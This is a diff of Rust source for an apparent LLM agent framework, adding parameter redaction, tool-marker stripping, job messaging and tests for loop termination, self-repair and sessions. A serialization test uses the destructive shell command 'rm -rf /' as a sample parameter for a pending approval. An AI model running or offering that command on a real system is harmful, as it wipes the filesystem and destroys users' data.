assert_eq!(msg.role, crate::llm::Role::User);
} else {
assert_eq!(msg.role, crate::llm::Role::Assistant);
}
}
// Verify content matches the last 3 original turns
assert_eq!(messages[0].content, "msg-7");
assert_eq!(messages[1].content, "resp-7");
assert_eq!(messages[4].content, "msg-9");
assert_eq!(messages[5].content, "resp-9");
}
// ------------------------------------------------------------------
// 16. Multiple sequential compactions work correctly
// ------------------------------------------------------------------
#[tokio::test]
async fn test_sequential_compactions() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
// First compaction: 20 -> 10
let r1 = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 10 },
None,
)
.await
.expect("first compact");
assert_eq!(thread.turns.len(), 10);
assert_eq!(r1.turns_removed, 10);
// Second compaction: 10 -> 3
let r2 = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("second compact");
assert_eq!(thread.turns.len(), 3);
assert_eq!(r2.turns_removed, 7);
// The remaining turns should be the very last 3 from the original 20
assert_eq!(thread.turns[0].user_input, "msg-17");
assert_eq!(thread.turns[1].user_input, "msg-18");
assert_eq!(thread.turns[2].user_input, "msg-19");
}
}
+622 -19
View File
@@ -15,6 +15,7 @@ use crate::channels::{IncomingMessage, StatusUpdate};
use crate::context::JobContext;
use crate::error::Error;
use crate::llm::{ChatMessage, Reasoning, ReasoningContext, RespondResult};
use crate::tools::redact_params;
/// Result of the agentic loop execution.
pub(super) enum AgenticLoopResult {
@@ -106,6 +107,15 @@ impl Agent {
.with_channel(message.channel.clone())
.with_model_name(self.llm().active_model_name())
.with_group_chat(is_group_chat);
// Pass channel-specific conversation context to the LLM.
// This helps the agent know who/group it's talking to.
if let Some(channel) = self.channels.get_channel(&message.channel).await {
for (key, value) in channel.conversation_context(&message.metadata) {
reasoning = reasoning.with_conversation_data(&key, &value);
}
}
if let Some(prompt) = system_prompt {
reasoning = reasoning.with_system_prompt(prompt);
}
@@ -117,7 +127,9 @@ impl Agent {
let mut context_messages = initial_messages;
// Create a JobContext for tool execution (chat doesn't have a real job)
let job_ctx = JobContext::with_user(&message.user_id, "chat", "Interactive chat session");
let mut job_ctx =
JobContext::with_user(&message.user_id, "chat", "Interactive chat session");
job_ctx.http_interceptor = self.deps.http_interceptor.clone();
let max_tool_iterations = self.config.max_tool_iterations;
// Force a text-only response on the last iteration to guarantee termination
@@ -282,7 +294,11 @@ impl Agent {
match output.result {
RespondResult::Text(text) => {
return Ok(AgenticLoopResult::Response(text));
// Strip internal "[Called tool ...]" text that can leak when
// provider flattening (e.g. NEAR AI) converts tool_calls to
// plain text and the LLM echoes it back.
let sanitized = strip_internal_tool_call_text(&text);
return Ok(AgenticLoopResult::Response(sanitized));
}
RespondResult::ToolCalls {
tool_calls,
@@ -308,14 +324,25 @@ impl Agent {
)
.await;
// Record tool calls in the thread
// Record tool calls in the thread with sensitive params redacted.
// Look up each tool's sensitive_params before acquiring the session lock.
{
let mut redacted_args: Vec<serde_json::Value> =
Vec::with_capacity(tool_calls.len());
for tc in &tool_calls {
let safe = if let Some(tool) = self.tools().get(&tc.name).await {
redact_params(&tc.arguments, tool.sensitive_params())
} else {
tc.arguments.clone()
};
redacted_args.push(safe);
}
let mut sess = session.lock().await;
if let Some(thread) = sess.threads.get_mut(&thread_id)
&& let Some(turn) = thread.last_turn_mut()
{
for tc in &tool_calls {
turn.record_tool_call(&tc.name, tc.arguments.clone());
for (tc, safe_args) in tool_calls.iter().zip(redacted_args) {
turn.record_tool_call(&tc.name, safe_args);
}
}
}
@@ -344,11 +371,22 @@ impl Agent {
for (idx, original_tc) in tool_calls.iter().enumerate() {
let mut tc = original_tc.clone();
// Fetch the tool upfront so we can redact sensitive params
// before they touch hooks or approval display.
let tool_opt = self.tools().get(&tc.name).await;
let sensitive = tool_opt
.as_ref()
.map(|t| t.sensitive_params())
.unwrap_or(&[]);
// Hook: BeforeToolCall (runs before approval so hooks can
// modify parameters — approval is checked on final params)
// modify parameters — approval is checked on final params).
// Hooks receive redacted params so sensitive values are not
// exposed to hook handlers or their logs.
let hook_params = redact_params(&tc.arguments, sensitive);
let event = crate::hooks::HookEvent::ToolCall {
tool_name: tc.name.clone(),
parameters: tc.arguments.clone(),
parameters: hook_params,
user_id: message.user_id.clone(),
context: "chat".to_string(),
};
@@ -375,8 +413,20 @@ impl Agent {
}
Ok(crate::hooks::HookOutcome::Continue {
modified: Some(new_params),
}) => match serde_json::from_str(&new_params) {
Ok(parsed) => tc.arguments = parsed,
}) => match serde_json::from_str::<serde_json::Value>(&new_params) {
Ok(mut parsed) => {
// Restore original sensitive param values so a hook
// cannot overwrite them (they were sent as [REDACTED]).
if let Some(obj) = parsed.as_object_mut() {
for key in sensitive {
if let Some(orig_val) = original_tc.arguments.get(*key)
{
obj.insert((*key).to_string(), orig_val.clone());
}
}
}
tc.arguments = parsed;
}
Err(e) => {
tracing::warn!(
tool = %tc.name,
@@ -391,7 +441,7 @@ impl Agent {
// Check if tool requires approval on the final (post-hook)
// parameters. Skipped when auto_approve_tools is set.
if !self.config.auto_approve_tools
&& let Some(tool) = self.tools().get(&tc.name).await
&& let Some(tool) = tool_opt
{
use crate::tools::ApprovalRequirement;
let needs_approval = match tool.requires_approval(&tc.arguments) {
@@ -438,14 +488,17 @@ impl Agent {
.execute_chat_tool(&tc.name, &tc.arguments, &job_ctx)
.await;
let disp_tool = self.tools().get(&tc.name).await;
let _ = self
.channels
.send_status(
&message.channel,
StatusUpdate::ToolCompleted {
name: tc.name.clone(),
success: result.is_ok(),
},
StatusUpdate::tool_completed(
tc.name.clone(),
&result,
&tc.arguments,
disp_tool.as_deref(),
),
&message.metadata,
)
.await;
@@ -486,13 +539,16 @@ impl Agent {
)
.await;
let par_tool = tools.get(&tc.name).await;
let _ = channels
.send_status(
&channel,
StatusUpdate::ToolCompleted {
name: tc.name.clone(),
success: result.is_ok(),
},
StatusUpdate::tool_completed(
tc.name.clone(),
&result,
&tc.arguments,
par_tool.as_deref(),
),
&metadata,
)
.await;
@@ -632,6 +688,15 @@ impl Agent {
deferred_auth = Some(instructions);
}
// Stash full output so subsequent tools can reference it
if let Ok(ref output) = tool_result {
job_ctx
.tool_output_stash
.write()
.await
.insert(tc.id.clone(), output.clone());
}
// Sanitize and add tool result to context
let result_content = match tool_result {
Ok(output) => {
@@ -662,10 +727,15 @@ impl Agent {
// Handle approval if a tool needed it
if let Some((approval_idx, tc, tool)) = approval_needed {
// Show redacted params in the approval UI — the user already knows
// the sensitive value (they provided it); showing it again is
// unnecessary and creates a leakage path through channel logs.
let display_params = redact_params(&tc.arguments, tool.sensitive_params());
let pending = PendingApproval {
request_id: Uuid::new_v4(),
tool_name: tc.name.clone(),
parameters: tc.arguments.clone(),
display_parameters: display_params,
description: tool.description().to_string(),
tool_call_id: tc.id.clone(),
context_messages: context_messages.clone(),
@@ -725,9 +795,10 @@ pub(super) async fn execute_chat_tool_standalone(
.into());
}
let safe_params = redact_params(params, tool.sensitive_params());
tracing::debug!(
tool = %tool_name,
params = %params,
params = %safe_params,
"Tool call started"
);
@@ -891,6 +962,38 @@ fn compact_messages_for_retry(messages: &[ChatMessage]) -> Vec<ChatMessage> {
compacted
}
/// Strip internal `[Called tool ...]` and `[Tool ... returned: ...]` markers
/// from a response string. These markers are inserted by provider-level message
/// flattening (e.g. NEAR AI) and can leak into the user-visible response when
/// the LLM echoes them back.
fn strip_internal_tool_call_text(text: &str) -> String {
// Remove lines that are purely internal tool-call markers.
// Pattern: lines matching `[Called tool <name>(...)]` or `[Tool <name> returned: ...]`
let result = text
.lines()
.filter(|line| {
let trimmed = line.trim();
!((trimmed.starts_with("[Called tool ") && trimmed.ends_with(']'))
|| (trimmed.starts_with("[Tool ")
&& trimmed.contains(" returned:")
&& trimmed.ends_with(']')))
})
.fold(String::new(), |mut acc, s| {
if !acc.is_empty() {
acc.push('\n');
}
acc.push_str(s);
acc
});
let result = result.trim();
if result.is_empty() {
"I wasn't able to complete that request. Could you try rephrasing or providing more details?".to_string()
} else {
result.to_string()
}
}
#[cfg(test)]
mod tests {
use std::sync::Arc;
@@ -973,6 +1076,8 @@ mod tests {
skills_config: SkillsConfig::default(),
hooks: Arc::new(HookRegistry::new()),
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
sse_tx: None,
http_interceptor: None,
};
Agent::new(
@@ -1076,6 +1181,7 @@ mod tests {
request_id: uuid::Uuid::new_v4(),
tool_name: "shell".to_string(),
parameters: serde_json::json!({"command": "echo hi"}),
display_parameters: serde_json::json!({"command": "echo hi"}),
description: "Run shell command".to_string(),
tool_call_id: "call_1".to_string(),
context_messages: vec![],
@@ -1425,4 +1531,501 @@ mod tests {
.count();
assert_eq!(nudge_count, 1);
}
// === QA Plan P2 - 2.7: Context length recovery ===
#[tokio::test]
async fn test_context_length_recovery_via_compaction_and_retry() {
// Simulates the dispatcher's recovery path:
// 1. Provider returns ContextLengthExceeded
// 2. compact_messages_for_retry reduces context
// 3. Retry with compacted messages succeeds
use crate::llm::Reasoning;
use crate::testing::StubLlm;
let stub = Arc::new(StubLlm::failing_non_transient("ctx-bomb"));
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
}));
let reasoning = Reasoning::new(stub.clone(), safety);
// Build a fat context with lots of history.
let messages = vec![
ChatMessage::system("You are a helpful assistant."),
ChatMessage::user("First question"),
ChatMessage::assistant("First answer"),
ChatMessage::user("Second question"),
ChatMessage::assistant("Second answer"),
ChatMessage::user("Third question"),
ChatMessage::assistant("Third answer"),
ChatMessage::user("Current request"),
];
let context = crate::llm::ReasoningContext::new().with_messages(messages.clone());
// Step 1: First call fails with ContextLengthExceeded.
let err = reasoning.respond_with_tools(&context).await.unwrap_err();
assert!(
matches!(err, crate::error::LlmError::ContextLengthExceeded { .. }),
"Expected ContextLengthExceeded, got: {:?}",
err
);
assert_eq!(stub.calls(), 1);
// Step 2: Compact messages (same as dispatcher lines 226).
let compacted = compact_messages_for_retry(&messages);
// Should have dropped the old history, kept system + note + last user.
assert!(compacted.len() < messages.len());
assert_eq!(compacted.last().unwrap().content, "Current request");
// Step 3: Switch provider to success and retry.
stub.set_failing(false);
let retry_context = crate::llm::ReasoningContext::new().with_messages(compacted);
let result = reasoning.respond_with_tools(&retry_context).await;
assert!(result.is_ok(), "Retry after compaction should succeed");
assert_eq!(stub.calls(), 2);
}
// === QA Plan P2 - 4.3: Dispatcher loop guard tests ===
/// LLM provider that always returns tool calls when tools are available,
/// and text when tools are empty (simulating force_text stripping tools).
struct AlwaysToolCallProvider;
#[async_trait]
impl LlmProvider for AlwaysToolCallProvider {
fn model_name(&self) -> &str {
"always-tool-call"
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
(Decimal::ZERO, Decimal::ZERO)
}
async fn complete(
&self,
_request: CompletionRequest,
) -> Result<CompletionResponse, crate::error::LlmError> {
Ok(CompletionResponse {
content: "forced text response".to_string(),
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::Stop,
})
}
async fn complete_with_tools(
&self,
request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, crate::error::LlmError> {
if request.tools.is_empty() {
// No tools = force_text mode; return text.
return Ok(ToolCompletionResponse {
content: Some("forced text response".to_string()),
tool_calls: Vec::new(),
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::Stop,
});
}
// Tools available: always call one.
Ok(ToolCompletionResponse {
content: None,
tool_calls: vec![ToolCall {
id: format!("call_{}", uuid::Uuid::new_v4()),
name: "echo".to_string(),
arguments: serde_json::json!({"message": "looping"}),
}],
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::ToolUse,
})
}
}
#[tokio::test]
async fn force_text_prevents_infinite_tool_call_loop() {
// Verify that Reasoning with force_text=true returns text even when
// the provider would normally return tool calls.
use crate::llm::{Reasoning, ReasoningContext, RespondResult, ToolDefinition};
let provider = Arc::new(AlwaysToolCallProvider);
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
}));
let reasoning = Reasoning::new(provider, safety);
let tool_def = ToolDefinition {
name: "echo".to_string(),
description: "Echo a message".to_string(),
parameters: serde_json::json!({"type": "object", "properties": {"message": {"type": "string"}}}),
};
// Without force_text: provider returns tool calls.
let ctx_normal = ReasoningContext::new()
.with_messages(vec![ChatMessage::user("hello")])
.with_tools(vec![tool_def.clone()]);
let output = reasoning.respond_with_tools(&ctx_normal).await.unwrap();
assert!(
matches!(output.result, RespondResult::ToolCalls { .. }),
"Without force_text, should get tool calls"
);
// With force_text: provider must return text (tools stripped).
let mut ctx_forced = ReasoningContext::new()
.with_messages(vec![ChatMessage::user("hello")])
.with_tools(vec![tool_def]);
ctx_forced.force_text = true;
let output = reasoning.respond_with_tools(&ctx_forced).await.unwrap();
assert!(
matches!(output.result, RespondResult::Text(_)),
"With force_text, should get text response, got: {:?}",
output.result
);
}
#[test]
fn iteration_bounds_guarantee_termination() {
// Verify the arithmetic that guards against infinite loops:
// force_text_at = max_tool_iterations
// nudge_at = max_tool_iterations - 1
// hard_ceiling = max_tool_iterations + 1
for max_iter in [1_usize, 2, 5, 10, 50] {
let force_text_at = max_iter;
let nudge_at = max_iter.saturating_sub(1);
let hard_ceiling = max_iter + 1;
// force_text_at must be reachable (> 0)
assert!(
force_text_at > 0,
"force_text_at must be > 0 for max_iter={max_iter}"
);
// nudge comes before or at the same time as force_text
assert!(
nudge_at <= force_text_at,
"nudge_at ({nudge_at}) > force_text_at ({force_text_at})"
);
// hard ceiling is strictly after force_text
assert!(
hard_ceiling > force_text_at,
"hard_ceiling ({hard_ceiling}) not > force_text_at ({force_text_at})"
);
// Simulate iteration: every iteration from 1..=hard_ceiling
// At force_text_at, force_text=true (should produce text and break).
// At hard_ceiling, the error fires (safety net).
let mut hit_force_text = false;
let mut hit_ceiling = false;
for iteration in 1..=hard_ceiling {
if iteration >= force_text_at {
hit_force_text = true;
}
if iteration > max_iter + 1 {
hit_ceiling = true;
}
}
assert!(
hit_force_text,
"force_text never triggered for max_iter={max_iter}"
);
// The ceiling should only fire if force_text somehow didn't break
assert!(
hit_ceiling || hard_ceiling <= max_iter + 1,
"ceiling logic inconsistent for max_iter={max_iter}"
);
}
}
/// LLM provider that always returns calls to a nonexistent tool, regardless
/// of whether tools are available. When tools are stripped (force_text), it
/// returns text.
struct FailingToolCallProvider;
#[async_trait]
impl LlmProvider for FailingToolCallProvider {
fn model_name(&self) -> &str {
"failing-tool-call"
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
(Decimal::ZERO, Decimal::ZERO)
}
async fn complete(
&self,
_request: CompletionRequest,
) -> Result<CompletionResponse, crate::error::LlmError> {
Ok(CompletionResponse {
content: "forced text".to_string(),
input_tokens: 0,
output_tokens: 2,
finish_reason: FinishReason::Stop,
})
}
async fn complete_with_tools(
&self,
request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, crate::error::LlmError> {
if request.tools.is_empty() {
return Ok(ToolCompletionResponse {
content: Some("forced text".to_string()),
tool_calls: Vec::new(),
input_tokens: 0,
output_tokens: 2,
finish_reason: FinishReason::Stop,
});
}
// Always call a tool that does not exist in the registry.
Ok(ToolCompletionResponse {
content: None,
tool_calls: vec![ToolCall {
id: format!("call_{}", uuid::Uuid::new_v4()),
name: "nonexistent_tool".to_string(),
arguments: serde_json::json!({}),
}],
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::ToolUse,
})
}
}
/// Helper to build a test Agent with a custom LLM provider and
/// `max_tool_iterations` override.
fn make_test_agent_with_llm(llm: Arc<dyn LlmProvider>, max_tool_iterations: usize) -> Agent {
let deps = AgentDeps {
store: None,
llm,
cheap_llm: None,
safety: Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
})),
tools: Arc::new(ToolRegistry::new()),
workspace: None,
extension_manager: None,
skill_registry: None,
skill_catalog: None,
skills_config: SkillsConfig::default(),
hooks: Arc::new(HookRegistry::new()),
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
sse_tx: None,
http_interceptor: None,
};
Agent::new(
AgentConfig {
name: "test-agent".to_string(),
max_parallel_jobs: 1,
job_timeout: Duration::from_secs(60),
stuck_threshold: Duration::from_secs(60),
repair_check_interval: Duration::from_secs(30),
max_repair_attempts: 1,
use_planning: false,
session_idle_timeout: Duration::from_secs(300),
allow_local_tools: false,
max_cost_per_day_cents: None,
max_actions_per_hour: None,
max_tool_iterations,
auto_approve_tools: true,
},
deps,
Arc::new(ChannelManager::new()),
None,
None,
None,
Some(Arc::new(ContextManager::new(1))),
None,
)
}
/// Regression test for the infinite loop bug (PR #252) where `continue`
/// skipped the index increment. When every tool call fails (e.g., tool not
/// found), the dispatcher must still advance through all calls and
/// eventually terminate via the force_text / max_iterations guard.
#[tokio::test]
async fn test_dispatcher_terminates_with_all_tool_calls_failing() {
use crate::agent::session::Session;
use crate::channels::IncomingMessage;
use crate::llm::ChatMessage;
use tokio::sync::Mutex;
let agent = make_test_agent_with_llm(Arc::new(FailingToolCallProvider), 5);
let session = Arc::new(Mutex::new(Session::new("test-user")));
// Initialize a thread in the session so the loop can record tool calls.
let thread_id = {
let mut sess = session.lock().await;
sess.create_thread().id
};
let message = IncomingMessage::new("test", "test-user", "do something");
let initial_messages = vec![ChatMessage::user("do something")];
// The dispatcher must terminate within 5 seconds. If there is an
// infinite loop bug (e.g., index not advancing on tool failure), the
// timeout will fire and the test will fail.
let result = tokio::time::timeout(
Duration::from_secs(5),
agent.run_agentic_loop(&message, session, thread_id, initial_messages),
)
.await;
assert!(
result.is_ok(),
"Dispatcher timed out -- possible infinite loop when all tool calls fail"
);
// The loop should complete (either with a text response from force_text,
// or an error from the hard ceiling). Both are acceptable termination.
let inner = result.unwrap();
assert!(
inner.is_ok(),
"Dispatcher returned an error: {:?}",
inner.err()
);
}
/// Verify that the max_iterations guard terminates the loop even when the
/// LLM always returns tool calls and those calls succeed.
#[tokio::test]
async fn test_dispatcher_terminates_with_max_iterations() {
use crate::agent::session::Session;
use crate::channels::IncomingMessage;
use crate::llm::ChatMessage;
use crate::tools::builtin::EchoTool;
use tokio::sync::Mutex;
// Use AlwaysToolCallProvider which calls "echo" on every turn.
// Register the echo tool so the calls succeed.
let llm: Arc<dyn LlmProvider> = Arc::new(AlwaysToolCallProvider);
let max_iter = 3;
let agent = {
let deps = AgentDeps {
store: None,
llm,
cheap_llm: None,
safety: Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
})),
tools: {
let registry = Arc::new(ToolRegistry::new());
registry.register_sync(Arc::new(EchoTool));
registry
},
workspace: None,
extension_manager: None,
skill_registry: None,
skill_catalog: None,
skills_config: SkillsConfig::default(),
hooks: Arc::new(HookRegistry::new()),
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
sse_tx: None,
http_interceptor: None,
};
Agent::new(
AgentConfig {
name: "test-agent".to_string(),
max_parallel_jobs: 1,
job_timeout: Duration::from_secs(60),
stuck_threshold: Duration::from_secs(60),
repair_check_interval: Duration::from_secs(30),
max_repair_attempts: 1,
use_planning: false,
session_idle_timeout: Duration::from_secs(300),
allow_local_tools: false,
max_cost_per_day_cents: None,
max_actions_per_hour: None,
max_tool_iterations: max_iter,
auto_approve_tools: true,
},
deps,
Arc::new(ChannelManager::new()),
None,
None,
None,
Some(Arc::new(ContextManager::new(1))),
None,
)
};
let session = Arc::new(Mutex::new(Session::new("test-user")));
let thread_id = {
let mut sess = session.lock().await;
sess.create_thread().id
};
let message = IncomingMessage::new("test", "test-user", "keep calling tools");
let initial_messages = vec![ChatMessage::user("keep calling tools")];
// Even with an LLM that always wants to call tools, the dispatcher
// must terminate within the timeout thanks to force_text at
// max_tool_iterations.
let result = tokio::time::timeout(
Duration::from_secs(5),
agent.run_agentic_loop(&message, session, thread_id, initial_messages),
)
.await;
assert!(
result.is_ok(),
"Dispatcher timed out -- max_iterations guard failed to terminate the loop"
);
// Should get a successful text response (force_text kicks in).
let inner = result.unwrap();
assert!(
inner.is_ok(),
"Dispatcher returned an error: {:?}",
inner.err()
);
// Verify we got a text response.
match inner.unwrap() {
super::AgenticLoopResult::Response(text) => {
assert!(!text.is_empty(), "Expected non-empty forced text response");
}
super::AgenticLoopResult::NeedApproval { .. } => {
panic!("Expected text response, got NeedApproval");
}
}
}
#[test]
fn test_strip_internal_tool_call_text_removes_markers() {
let input = "[Called tool search({\"query\": \"test\"})]\nHere is the answer.";
let result = super::strip_internal_tool_call_text(input);
assert_eq!(result, "Here is the answer.");
}
#[test]
fn test_strip_internal_tool_call_text_removes_returned_markers() {
let input = "[Tool search returned: some result]\nSummary of findings.";
let result = super::strip_internal_tool_call_text(input);
assert_eq!(result, "Summary of findings.");
}
#[test]
fn test_strip_internal_tool_call_text_all_markers_yields_fallback() {
let input = "[Called tool search({\"query\": \"test\"})]\n[Tool search returned: error]";
let result = super::strip_internal_tool_call_text(input);
assert!(result.contains("wasn't able to complete"));
}
#[test]
fn test_strip_internal_tool_call_text_preserves_normal_text() {
let input = "This is a normal response with [brackets] inside.";
let result = super::strip_internal_tool_call_text(input);
assert_eq!(result, input);
}
}
+1
View File
@@ -294,6 +294,7 @@ impl HeartbeatRunner {
let response = OutgoingResponse {
content: format!("🔔 *Heartbeat Alert*\n\n{}", message),
thread_id: None,
attachments: Vec::new(),
metadata: serde_json::json!({
"source": "heartbeat",
}),
+3
View File
@@ -600,10 +600,13 @@ async fn send_notification(
let response = OutgoingResponse {
content: message,
thread_id: None,
attachments: Vec::new(),
metadata: serde_json::json!({
"source": "routine",
"routine_name": routine_name,
"status": status.to_string(),
"notify_user": notify.user,
"notify_channel": notify.channel,
}),
};
+32
View File
@@ -10,6 +10,7 @@ use uuid::Uuid;
use crate::agent::task::{Task, TaskContext, TaskOutput};
use crate::agent::worker::{Worker, WorkerDeps};
use crate::channels::web::types::SseEvent;
use crate::config::AgentConfig;
use crate::context::{ContextManager, JobContext, JobState};
use crate::db::Database;
@@ -28,6 +29,8 @@ pub enum WorkerMessage {
Stop,
/// Check health.
Ping,
/// Inject a follow-up user message into the worker's reasoning context.
UserMessage(String),
}
/// Status of a scheduled job.
@@ -51,6 +54,8 @@ pub struct Scheduler {
tools: Arc<ToolRegistry>,
store: Option<Arc<dyn Database>>,
hooks: Arc<HookRegistry>,
/// SSE broadcast sender for live job event streaming.
sse_tx: Option<tokio::sync::broadcast::Sender<SseEvent>>,
/// Running jobs (main LLM-driven jobs).
jobs: Arc<RwLock<HashMap<Uuid, ScheduledJob>>>,
/// Running sub-tasks (tool executions, background tasks).
@@ -76,11 +81,17 @@ impl Scheduler {
tools,
store,
hooks,
sse_tx: None,
jobs: Arc::new(RwLock::new(HashMap::new())),
subtasks: Arc::new(RwLock::new(HashMap::new())),
}
}
/// Set the SSE broadcast sender for live job event streaming.
pub fn set_sse_sender(&mut self, tx: tokio::sync::broadcast::Sender<SseEvent>) {
self.sse_tx = Some(tx);
}
/// Create, persist, and schedule a job in one shot.
///
/// This is the preferred entry point for dispatching new jobs. It:
@@ -169,6 +180,7 @@ impl Scheduler {
hooks: self.hooks.clone(),
timeout: self.config.job_timeout,
use_planning: self.config.use_planning,
sse_tx: self.sse_tx.clone(),
};
let worker = Worker::new(job_id, deps);
@@ -500,6 +512,26 @@ impl Scheduler {
Ok(())
}
/// Send a follow-up user message to a running job.
///
/// Returns `Ok(())` if the message was queued, `Err` if the job is not running.
pub async fn send_message(&self, job_id: Uuid, content: String) -> Result<(), JobError> {
// Clone the sender while holding the lock, then release before the
// async send to avoid blocking scheduler writes during backpressure.
let tx = {
let jobs = self.jobs.read().await;
let scheduled = jobs.get(&job_id).ok_or(JobError::NotFound { id: job_id })?;
scheduled.tx.clone()
};
tx.send(WorkerMessage::UserMessage(content))
.await
.map_err(|_| JobError::Failed {
id: job_id,
reason: "Worker channel closed".to_string(),
})?;
Ok(())
}
/// Check if a job is running.
pub async fn is_running(&self, job_id: Uuid) -> bool {
self.jobs.read().await.contains_key(&job_id)
+130
View File
@@ -387,4 +387,134 @@ mod tests {
};
assert!(matches!(manual, RepairResult::ManualRequired { .. }));
}
// === QA Plan - Self-repair stuck job tests ===
#[tokio::test]
async fn detect_no_stuck_jobs_when_all_healthy() {
let cm = Arc::new(ContextManager::new(10));
// Create a job and leave it Pending (not stuck).
cm.create_job("Job 1", "desc").await.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let stuck = repair.detect_stuck_jobs().await;
assert!(stuck.is_empty());
}
#[tokio::test]
async fn detect_stuck_job_finds_stuck_state() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Stuck job", "desc").await.unwrap();
// Transition to InProgress, then to Stuck.
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
.await
.unwrap()
.unwrap();
cm.update_context(job_id, |ctx| {
ctx.transition_to(JobState::Stuck, Some("timed out".to_string()))
})
.await
.unwrap()
.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let stuck = repair.detect_stuck_jobs().await;
assert_eq!(stuck.len(), 1);
assert_eq!(stuck[0].job_id, job_id);
}
#[tokio::test]
async fn repair_stuck_job_succeeds_within_limit() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Repairable", "desc").await.unwrap();
// Move to InProgress -> Stuck.
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
.await
.unwrap()
.unwrap();
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::Stuck, None))
.await
.unwrap()
.unwrap();
let repair = DefaultSelfRepair::new(Arc::clone(&cm), Duration::from_secs(60), 3);
let stuck_job = StuckJob {
job_id,
last_activity: Utc::now(),
stuck_duration: Duration::from_secs(120),
last_error: None,
repair_attempts: 0,
};
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
assert!(
matches!(result, RepairResult::Success { .. }),
"Expected Success, got: {:?}",
result
);
// Job should be back to InProgress after recovery.
let ctx = cm.get_context(job_id).await.unwrap();
assert_eq!(ctx.state, JobState::InProgress);
}
#[tokio::test]
async fn repair_stuck_job_returns_manual_when_limit_exceeded() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Unrepairable", "desc").await.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 2);
let stuck_job = StuckJob {
job_id,
last_activity: Utc::now(),
stuck_duration: Duration::from_secs(300),
last_error: Some("persistent failure".to_string()),
repair_attempts: 2, // == max
};
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
assert!(
matches!(result, RepairResult::ManualRequired { .. }),
"Expected ManualRequired, got: {:?}",
result
);
}
#[tokio::test]
async fn detect_broken_tools_returns_empty_without_store() {
let cm = Arc::new(ContextManager::new(10));
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
// No store configured, should return empty.
let broken = repair.detect_broken_tools().await;
assert!(broken.is_empty());
}
#[tokio::test]
async fn repair_broken_tool_returns_manual_without_builder() {
let cm = Arc::new(ContextManager::new(10));
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let broken = BrokenTool {
name: "test-tool".to_string(),
failure_count: 10,
last_error: Some("crash".to_string()),
first_failure: Utc::now(),
last_failure: Utc::now(),
last_build_result: None,
repair_attempts: 0,
};
let result = repair.repair_broken_tool(&broken).await.unwrap();
assert!(
matches!(result, RepairResult::ManualRequired { .. }),
"Expected ManualRequired without builder, got: {:?}",
result
);
}
}
+7 -1
View File
@@ -148,8 +148,12 @@ pub struct PendingApproval {
pub request_id: Uuid,
/// Tool name requiring approval.
pub tool_name: String,
/// Tool parameters.
/// Tool parameters (original values, used for execution).
pub parameters: serde_json::Value,
/// Redacted tool parameters (sensitive values replaced with `[REDACTED]`).
/// Used for display in approval UI, logs, and SSE broadcasts.
#[serde(default)]
pub display_parameters: serde_json::Value,
/// Description of what the tool will do.
pub description: String,
/// Tool call ID from LLM (for proper context continuation).
@@ -950,6 +954,7 @@ mod tests {
request_id: Uuid::new_v4(),
tool_name: "shell".to_string(),
parameters: serde_json::json!({"command": "rm -rf /"}),
display_parameters: serde_json::json!({"command": "rm -rf /"}),
description: "dangerous command".to_string(),
tool_call_id: "call_123".to_string(),
context_messages: vec![ChatMessage::user("do it")],
@@ -974,6 +979,7 @@ mod tests {
request_id: Uuid::new_v4(),
tool_name: "http".to_string(),
parameters: serde_json::json!({}),
display_parameters: serde_json::json!({}),
description: "test".to_string(),
tool_call_id: "call_456".to_string(),
context_messages: vec![],
+110
View File
@@ -772,6 +772,116 @@ mod tests {
assert_ne!(resolved, tid);
}
// === QA Plan P3 - 4.2: Concurrent session stress tests ===
#[tokio::test]
async fn concurrent_get_or_create_same_user_returns_same_session() {
let manager = Arc::new(SessionManager::new());
let handles: Vec<_> = (0..30)
.map(|_| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move { mgr.get_or_create_session("shared-user").await })
})
.collect();
let mut sessions = Vec::new();
for handle in handles {
sessions.push(handle.await.expect("task should not panic"));
}
// All 30 must return the *same* Arc (double-checked locking guarantee).
for s in &sessions {
assert!(Arc::ptr_eq(&sessions[0], s));
}
}
#[tokio::test]
async fn concurrent_resolve_thread_distinct_users_no_cross_talk() {
let manager = Arc::new(SessionManager::new());
let handles: Vec<_> = (0..20)
.map(|i| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move {
let user = format!("user-{i}");
let (session, tid) = mgr.resolve_thread(&user, "gateway", None).await;
(user, session, tid)
})
})
.collect();
let mut results = Vec::new();
for handle in handles {
results.push(handle.await.expect("task should not panic"));
}
